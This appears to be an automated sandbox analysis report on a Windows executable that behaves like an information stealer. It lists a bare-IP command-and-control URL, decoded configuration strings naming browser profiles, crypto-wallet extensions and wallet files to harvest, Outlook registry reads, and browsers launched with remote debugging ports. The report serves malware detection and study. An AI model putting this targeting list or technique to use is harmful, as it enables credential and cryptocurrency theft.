"https://docs.rs/getrandom#nodejs-es-module-support" Heuristic match: "~c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\httparse-1.9.5\src/lib.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\url-2.5.2\src\lib.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\url-2.5.2\src\host.rs" Heuristic match: "called `result::unwrap()` on an `err` valueerror/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\vec\mod.rs" Heuristic match: "assertion failed: self.is_char_boundary(idx)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs" Heuristic match: "httpswswssftpc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\url-2.5.2\src\parser.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\slice\index.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\str\pattern.rs" Heuristic match: "assertion failed: self.is_char_boundary(n)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tinyvec-1.8.0\src\arrayvec.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\str\pattern.rsassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\idna-0.5.0\src\uts46.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\unicode-normalization-0.1.24\src\decompose.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\idna-0.5.0\src\punycode.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\unicode-normalization-0.1.24\src\lookups.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\unicode-bidi-0.3.17\src\char_data\mod.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\log-0.4.22\src\__private_api.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\header\value.rs" Heuristic match: "invalidstatuscodeinvalid status codehttp/0.9http/1.0http/1.1http/2.0http/3.0internal error: entered unreachable codec:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\version.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\uri\path.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src\bytes.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\uri\authority.rs" Heuristic match: "/zero capacity should never failc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\header\map.rs" Heuristic match: "internal error: entered unreachable codec:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\uri\scheme.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src/lib.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\cell\once.rs" Heuristic match: "internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs" Heuristic match: "customerror): std\src\io\mod.rs" Heuristic match: "std\src\sys\pal\windows\io.rs" Heuristic match: "std\src\path.rs" Heuristic match: "std\src\sync\once.rs" Heuristic match: "std\src\sys_common\wtf8.rs" Heuristic match: "std\src\alloc.rs" Heuristic match: "std\src\..\..\backtrace\src\symbolize\mod.rs" Heuristic match: "std\src\..\..\backtrace\src\dbghelp.rs" Heuristic match: "std\src\sys\pal\windows\net.rs" Heuristic match: "std\src\sys\pal\windows\os.rs" Heuristic match: "std\src\sys\pal\windows\stdio.rs" Heuristic match: "std\src\sys\path\windows.rs" Heuristic match: "std\src\sys\sync\rwlock\futex.rs" Heuristic match: "std\src\sys\thread_local\destructors\list.rs" Heuristic match: "assertion failed: len >= mem::size_of::()std\src\sys_common\net.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\ops\function.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.24\src\legacy.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.24\src\v0.rs" Heuristic match: ".llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs" Heuristic match: "alloc\src\raw_vec.rs" Heuristic match: "alloc\src\ffi\c_str.rs" Heuristic match: "a formatting trait implementation returned an error when the underlying stream did notalloc\src\fmt.rs" Heuristic match: "alloc\src\sync.rs" Heuristic match: "core\src\char\methods.rs" Heuristic match: "core\src\net\ip_addr.rs" Heuristic match: "core\src\net\display_buffer.rs" Heuristic match: "core\src\net\parser.rs" Heuristic match: "core\src\net\socket_addr.rs" Heuristic match: "called `option::unwrap()` on a `none` valuecore\src\panicking.rs" Heuristic match: "core\src\fmt\builders.rs" Heuristic match: "core\src\fmt\num.rs" Heuristic match: "core\src\fmt\mod.rs" Heuristic match: "core\src\slice\sort\shared\smallsort.rs" Heuristic match: "core\src\str\pattern.rs" Heuristic match: "core\src\str\mod.rs" Heuristic match: "core\src\unicode\printable.rs" Heuristic match: "core\src\unicode\unicode_data.rs" Heuristic match: "core\src\num\mod.rs"2b:T539,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "PR_LoadLibraryWithFlags" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")2c:T795,"bf3bc85903e812ff6a136924bf8ab376.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "bf3bc85903e812ff6a136924bf8ab376.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "bf3bc85903e812ff6a136924bf8ab376.exe" was detected as "Microsoft Linker" and name: "Linker" "nss3_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "nss3_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "nss3_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "chrome.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "chrome.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "chrome.dll" was detected as "Microsoft Linker" and name: "Linker" "freebl3.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "freebl3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "freebl3.dll" was detected as "Microsoft Linker" and name: "Linker" "mozglue.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "mozglue.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "mozglue.dll" was detected as "Microsoft Linker" and name: "Linker" "msvcp140_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "msvcp140_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "msvcp140_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "softokn3_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "softokn3_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "softokn3_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "vcruntime140.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "vcruntime140.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "vcruntime140.dll" was detected as "Microsoft Linker" and name: "Linker"2d:Teda,"bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000001") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000002") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000003") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000004")2e:T4eb,Found URL "http://95.215.204.131/95.215.204.131c:\users\hapubws\appdata\local\microsoft\windowsinetcookies5.215.204.131s\appdata\local\microsoft\windows\historyttp://95.215.204.131/f0592db368f6bb51.phpninstall\wiresharkekoowyybws\appdata\local\microsoft\windows\inetcache\iesers\hapubws\appdata\local\microsoft\windows\inetcookiesookie::\users\hapubws\appdata\local\microsoft\windows\history5.215.204.131s\appdata\local\microsoft\windows\history:\users\hapubws\appdata\local\microsoft\windows\inetcookies\isited:hapubws\appdata\local\microsoft\windows\history:\users\hapubws\appdata\local\microsoft\feeds" - Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found URL "http://95.215.204.131/f0592db368f6bb51.php95.215.204.131/f0592db368f6bb51.phpache\ie\9sspaw46\65eq3a95.htmsoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found URL "http://localhost:9229/json" - Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found URL "https://docs.rs/getrandom" - Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")2f:T68e,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")30:Tf8f,"bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"pszString": "OTRhNjgxNzYwNjVlM2RiY2I5MzZlOWNhNDQ2OGRjOTYxMmFhMGVjYTMyNmJkZDg0N2U2NDVhM2Q5ZjJhNGQxMTFiMjI2ODNlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=" "cchString": "0" "dwFlags": "1" "pcbBinary": "86000000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"pszString": "OTRhNjgxNzYwNjVlM2RiY2I5MzZlOWNhNDQ2OGRjOTYxMmFhMGVjYTMyNmJkZDg0N2U2NDVhM2Q5ZjJhNGQxMTFiMjI2ODNlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=" "cchString": "0" "dwFlags": "1" "pbBinary": "94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e|wkkjqaiaxkhb|smjllmymlbzq.pwd|1|0|1|1|1|1|1|1|0|ybncbhylepme|" "pcbBinary": "86000000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "0c060000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "Google Chrome|\\Google\\Chrome\\User Data|chrome|chrome.exe|C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\|Google Chrome Canary|\\Google\\Chrome SxS\\User Data|chrome|chrome.exe|0|Chromium|\\Chromium\\User Data|chrome|chrome.exe|0|Amigo|\\Amigo\\User Data|chrome|0|0|T" "pcbBinary": "0c060000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "d7140000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "MetaMask|djclckkglechooblngghdinmeemkbgci|1|0|0|MetaMask|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|MetaMask|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|TronLink|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|Binance Wallet|fhbohimaelbohpjbbldcngcnapndodjp|1|0|0|Yoroi|ffnbelfd" "pcbBinary": "d7140000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"pszString": "TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218" "cchString": "0" "dwFlags": "1" "pcbBinary": "51000000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"pszString": "TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218" "cchString": "0" "dwFlags": "1" "pbBinary": "MetaMask|0|webextension@metamask.io|Ronin Wallet|0|ronin-wallet@axieinfinity.com|" "pcbBinary": "51000000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "25010000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "DPAPI" "pcbBinary": "25010000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "13010000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "DPAPI" "pcbBinary": "13010000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "0e070000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "Bitcoin Core|1|\\Bitcoin\\wallets\\|wallet.dat|1|Bitcoin Core Old|1|\\Bitcoin\\|*wallet*.dat|0|Dogecoin|1|\\Dogecoin\\|*wallet*.dat|0|Raven Core|1|\\Raven\\|*wallet*.dat|0|Daedalus Mainnet|1|\\Daedalus Mainnet\\wallets\\|she*.sqlite|0|Blockstream Green|1|\\Blockstream\\Gree" "pcbBinary": "0e070000"} "bf3bc85903e812ff6a136924bf8ab376.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "00000000"}31:T9f8,Spawned process "chrome.exe" with commandline "--remote-debugging-port=9229 --profile-directory="Default"" (UID: 00000000-00000196) Spawned process "chrome.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Google\ ..." (UID: 00000000-00006756), Spawned process "chrome.exe" with commandline "--type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAA ..." (UID: 00000000-00007000), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006260), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007420), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00007728), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00004512), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00006444), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00004112), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00007660), Spawned process "msedge.exe" with commandline "--remote-debugging-port=9229 --profile-directory="Default"" (UID: 00000000-00004516), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003556) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00005000) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006460) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003916) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007052) Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --display-capture-permissions- ..." (UID: 00000000-00007360) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00006804)32:T469,"OFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "OFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "OFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "OFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge Update" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "ARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp33:T9292,"bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter 